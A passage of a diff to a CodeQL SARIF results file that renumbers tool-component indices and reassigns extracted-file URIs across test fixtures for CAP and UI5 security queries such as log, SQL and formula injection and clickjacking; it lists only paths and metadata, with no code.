           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -4429,7 +4429,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/manifest.json",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/db/schema.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 54
             }
@@ -4443,7 +4443,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -4455,7 +4455,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/server.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 55
             }
@@ -4469,7 +4469,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -4481,7 +4481,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/package-lock.json",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 56
             }
@@ -4495,7 +4495,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -4507,7 +4507,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/package.json",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 57
             }
@@ -4521,7 +4521,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -4533,7 +4533,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/ui5.yaml",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 58
             }
@@ -4547,7 +4547,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -4559,7 +4559,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 59
             }
@@ -4573,7 +4573,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -4585,7 +4585,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/index.html",
+              "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sample-app/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 60
             }
@@ -4599,7 +4599,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -4611,7 +4611,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sample-app/server.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 61
             }
@@ -4625,7 +4625,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -4637,7 +4637,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/index.html",
+              "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service1.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 62
             }
@@ -4651,7 +4651,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -4663,7 +4663,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/index.js",
+              "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service2.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 63
             }
@@ -4677,7 +4677,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -4689,7 +4689,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/lib/qlpack.yml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 64
             }
@@ -4703,7 +4703,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -4715,7 +4715,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/lib/codeql-pack.lock.yml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 65
             }
@@ -4729,7 +4729,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -4741,7 +4741,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/package.json",
+              "uri" : "javascript/frameworks/ui5/src/codeql-pack.lock.yml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 66
             }
@@ -4755,7 +4755,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -4767,7 +4767,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/src/qlpack.yml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 67
             }
@@ -4781,7 +4781,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -4793,7 +4793,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/codeql-pack.lock.yml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 68
             }
@@ -4807,7 +4807,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -4819,7 +4819,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 69
             }
@@ -4833,7 +4833,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -4845,7 +4845,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/lib/BindingStringParser/test.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 70
             }
@@ -4859,7 +4859,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -4871,7 +4871,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 71
             }
@@ -4885,7 +4885,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -4897,7 +4897,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 72
             }
@@ -4911,33 +4911,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
-          }
-        },
-        "properties" : {
-          "formattedMessage" : {
-            "text" : ""
-          }
-        }
-      }, {
-        "locations" : [ {
-          "physicalLocation" : {
-            "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
-              "uriBaseId" : "%SRCROOT%",
-              "index" : 3
-            }
-          }
-        } ],
-        "message" : {
-          "text" : ""
-        },
-        "level" : "none",
-        "descriptor" : {
-          "id" : "js/diagnostics/successfully-extracted-files",
-          "index" : 1,
-          "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -4949,7 +4923,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 73
             }
@@ -4963,7 +4937,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -4975,7 +4949,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/lib/JsonParser/test.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 74
             }
@@ -4989,7 +4963,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -5001,7 +4975,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/package.json",
+              "uri" : "javascript/frameworks/ui5/test/models/binding_path/binding1.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 75
             }
@@ -5015,7 +4989,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -5027,7 +5001,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/models/binding_path/bindingComposite.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 76
             }
@@ -5041,7 +5015,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -5053,7 +5027,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/control/xss.js",
+              "uri" : "javascript/frameworks/ui5/test/models/multiple_models/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 77
             }
@@ -5067,7 +5041,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -5079,7 +5053,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/models/sink/sink1.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 78
             }
@@ -5093,7 +5067,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -5105,7 +5079,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/models/source/source1.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 79
             }
@@ -5119,7 +5093,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -5131,7 +5105,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/qlpack.yml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 80
             }
@@ -5145,7 +5119,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -5157,7 +5131,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-allow-all/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 81
             }
@@ -5171,7 +5145,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -5183,7 +5157,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-allow-all/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 82
             }
@@ -5197,7 +5171,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -5209,7 +5183,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-default-all/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 83
             }
@@ -5223,7 +5197,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -5235,7 +5209,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-default-all/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 84
             }
@@ -5249,7 +5223,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -5261,7 +5235,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-deny-all/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 85
             }
@@ -5275,7 +5249,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -5287,7 +5261,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-deny-all/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 86
             }
@@ -5301,7 +5275,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -5313,7 +5287,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 87
             }
@@ -5327,7 +5301,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -5339,7 +5313,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 88
             }
@@ -5353,7 +5327,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -5365,7 +5339,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 89
             }
@@ -5379,7 +5353,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -5391,7 +5365,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/control/xss.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 90
             }
@@ -5405,7 +5379,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -5417,7 +5391,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 91
             }
@@ -5431,7 +5405,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -5443,7 +5417,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 92
             }
@@ -5457,7 +5431,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -5469,7 +5443,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 93
             }
@@ -5483,7 +5457,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -5495,7 +5469,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 94
             }
@@ -5509,7 +5483,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -5521,7 +5495,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 95
             }
@@ -5535,7 +5509,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -5547,7 +5521,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 96
             }
@@ -5561,7 +5535,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -5573,7 +5547,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 97
             }
@@ -5587,7 +5561,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -5599,7 +5573,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 98
             }
@@ -5613,7 +5587,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -5625,7 +5599,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 99
             }
@@ -5639,7 +5613,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -5651,7 +5625,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 100
             }
@@ -5665,7 +5639,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -5677,7 +5651,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 101
             }
@@ -5691,7 +5665,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -5703,7 +5677,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 102
             }
@@ -5717,7 +5691,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -5729,7 +5703,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/control/xss.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 103
             }
@@ -5743,7 +5717,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -5755,7 +5729,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 104
             }
@@ -5769,7 +5743,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -5781,7 +5755,7 @@
         "locations" : [ {
